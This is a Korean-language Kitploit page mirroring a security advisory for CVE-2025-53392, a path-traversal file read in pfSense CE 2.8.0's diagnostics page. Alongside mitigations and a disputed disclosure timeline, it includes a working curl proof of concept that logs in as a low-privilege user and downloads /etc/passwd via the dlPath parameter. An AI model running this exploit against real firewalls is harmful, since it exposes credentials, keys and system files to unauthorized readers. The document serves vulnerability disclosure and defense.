Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
pfsense-security-research — pfSense 2.8.0 진단 웹 인터페이스를 통한 인증된 임의 파일 읽기 (CVE-2025-53392) | Kitploit
도구/GitHubGitHub/skraft9/pfsense-security-research
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingRed Teaming
GitHubskraft9/pfsense-security-research

pfsense-security-research

pfSense 2.8.0 진단 웹 인터페이스를 통한 인증된 임의 파일 읽기 (CVE-2025-53392)

저장소 보기
147개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

pfSense 2.8.0 진단 웹 인터페이스를 통한 인증된 임의 파일 읽기

CVE ID: CVE-2025-53392

날짜: 2025-06-27

작성자: Seth Kraft

공급업체 홈페이지: https://www.netgate.com/

공급업체 변경 로그: https://docs.netgate.com/pfsense/en/latest/releases/

소프트웨어 링크: https://www.pfsense.org/download/

버전: pfSense CE 2.8.0

CWE ID: CWE-36 (절대 경로 탐색)

CVSS 기본 점수: 6.5 (중간)

벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

유형: 인증된 임의 파일 읽기 / 로컬 파일 노출


승인

승인된 테스트 및 연구 목적으로만 사용하십시오. 소유하지 않았거나 테스트할 명시적 권한이 없는 시스템에서 이 취약점을 테스트하거나 악용하지 마십시오.


요약

pfSense CE 2.8.0에는 진단 페이지 diag_command.php에 로컬 파일 노출 취약점이 있으며, 인증된 사용자가 기본 파일 시스템에서 임의의 파일을 다운로드할 수 있습니다.

이 기능은 권한 할당 외에 경로 검증, 디렉터리 제한 또는 접근 제어가 전혀 없습니다.


세부 내용

취약한 로직은 src/usr/local/www/diag_command.php 파일에 있습니다:

root@kitploit:~
if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) {
    session_cache_limiter('public');
    send_user_download('file', $_POST['dlPath']);
}

사용자가 제어하는 dlPath 매개변수에는 보안 검사나 검증 조치가 적용되어 있지 않습니다.

PHP 프로세스가 읽을 수 있는 모든 파일 경로가 사용자에게 제공됩니다.


개념 증명

low-priv 그룹을 만들고 단일 권한을 할당합니다 (WebCfg - Diagnostics: Command) Screenshot 2025-06-27 133201

WebCfg - Diagnostics: Command 권한에 대한 보안 고지가 존재한다는 점은 인정하지만, 고지 자체만으로는 건전한 접근 제어를 대체할 수 없습니다.

“진단 명령(Diagnostics Command) 페이지에 대한 접근 허용”이라는 문구는 모호하며 위험을 축소합니다. 이는 단순한 진단 접근이 아니라 제한 없는 루트 수준의 명령 실행을 가능하게 합니다.

웹 인터페이스의 권한 레이블은 허용하는 작업의 범위와 심각도를 정확히 반영해야 하며, 특히 전체 관리 제어를 노출하는 경우에는 더욱 그렇습니다.

low-priv 그룹을 dev 사용자에게 할당합니다 Screenshot 2025-06-27 133218

이 개념 증명은 WebCfg - Diagnostics: Command 권한만 할당된 사용자가 검증되지 않은 dlPath 매개변수를 악용하여 /etc/passwd를 외부로 유출할 수 있음을 보여줍니다.

root@kitploit:~
# 1. Start session and extract CSRF token
curl -k -c cookies.txt -s https://<IP>/diag_command.php > login_page.html
csrf_token=$(grep '__csrf_magic' login_page.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')

# 2. Authenticate as low-privileged user "dev"
curl -k -b cookies.txt -c cookies.txt \
  -d "__csrf_magic=$csrf_token" \
  -d "usernamefld=dev" \
  -d "passwordfld=pass" \
  -d "login=Sign+In" \
  https://<IP>/index.php > /dev/null

# 3. Get CSRF token post-login
curl -k -b cookies.txt -s https://<IP>/diag_command.php > diag_authed.html
csrf_token=$(grep '__csrf_magic' diag_authed.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')

# 4. Exfiltrate arbitrary file (example: /etc/passwd)
curl -k -b cookies.txt -s -X POST https://<IP>/diag_command.php \
  -d "__csrf_magic=$csrf_token" \
  -d "submit=DOWNLOAD" \
  -d "dlPath=/etc/passwd"

데모

pfSense-authenticated-file-disclosure-poc


영향

WebCfg - Diagnostics: Command 권한이 할당된 모든 pfSense 사용자는 다음을 수행할 수 있습니다:

  • 민감한 로컬 시스템 파일 읽기
  • 백업, 자격 증명 및 키 추출
  • 의도된 권한 범위를 훨씬 넘어서는 파일에 접근

이는 최소 권한 원칙을 위반하고 논리적 권한 경계를 무너뜨립니다.


권장 완화 방안

  1. realpath() 및 접두사 강제 검사를 사용하여 dlPath를 안전한 기본 디렉터리(예: /tmp)로 제한
  2. .. 또는 절대 경로가 포함된 경로를 제거하거나 차단
  3. 허용 목록 또는 임시 산출물 디렉터리에 있는 파일만 다운로드 허용

공개 타임라인

  • 2025-06-26: Netgate에 취약점 보고
  • 2025-06-27: Netgate가 의도된 동작이라며 이슈를 일축하고 응답
  • 2025-06-27: 연구자가 기술적 반박으로 응답했으나 공급업체는 일축을 재확인
  • 2025-06-27: 공급업체의 최종 일축으로 연구자가 공개 공개를 시작하고 MITRE에 CVE 지정을 요청
  • 2025-06-28: MITRE가 공급업체 이의 제기 태그와 함께 CVE-2025-53392 지정

Netgate의 응답

공급업체는 이 페이지에 대한 접근이 루트와 동일하다고 주장하지만, 이는 웹 수준의 권한을 제한 없는 백엔드 접근과 혼동하는 것입니다.

권한은 (가정이 아닌) 기술적으로 강제되어야 하며, UI의 경고는 안전한 설계를 대체할 수 없습니다.


이 기능이 “잘 문서화되어 있다”는 공급업체의 주장에 반박합니다 - pfSense의 User Privileges 문서에는 WebCfg - Diagnostics: Command 권한이 루트 수준 접근과 동일하다는 언급이 없습니다. Screenshot 2025-06-28 235613


공급업체는 오용에 대한 일반적인 경고가 포함된 Diagnostics Command 페이지를 언급한 것일 수 있습니다.

그러나 문서는 이 기능을 WebCfg - Diagnostics: Command 권한과 명시적으로 연결하거나 루트 수준 접근을 부여한다는 점을 명확히 밝히지 않습니다.


진단 인터페이스에 대한 보안 기대 사항

방화벽 웹 인터페이스 내 진단 모듈에는 기본 운영 체제에 대한 악용을 방지하기 위한 적절한 보호 장치가 포함되어야 합니다.

  • 진단 명령은 기능적으로 ping, traceroute, 로그 보기 등으로 제한되어야 합니다.
  • 명령은 제한된 셸 또는 chroot 내에서 실행되어야 합니다.
  • 파일 접근은 안전한 디렉터리(/tmp, /var/log)로 명시적으로 제한되어야 합니다.
  • 권한은 세분화되어야 하며 범위가 명확해야 합니다.

면책 조항

이 작업은 제 고용 관계 밖에서 수행되었으며, 사이버보안 연구에 대한 개인적인 노력을 반영합니다.


도구 다운로드